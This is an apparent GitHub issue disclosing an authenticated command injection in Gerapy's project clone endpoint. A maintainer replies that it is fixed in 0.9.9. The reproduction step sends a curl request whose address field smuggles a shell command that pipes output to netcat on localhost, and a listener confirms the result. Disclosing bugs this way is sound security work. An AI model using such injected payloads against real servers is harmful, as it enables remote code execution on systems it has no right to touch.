An authenticated user can execute arbitrary command

[ksg97031]

Describe the bug
The below code is vulnerable to remote code execution
https://github.com/Gerapy/Gerapy/blob/master/gerapy/server/core/views.py#L323-L343

To Reproduce

$ curl 'http://127.0.0.1:8000/api/project/clone' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Content-Type: application/json;charset=UTF-8' \  
  -H 'Authorization: Token $token' \
  --data-raw '{"address":"http;echo hi | nc 127.0.0.1 7777;"}'

$ nc -lvp 7777
hi

[Germey]

Fixed in 0.9.9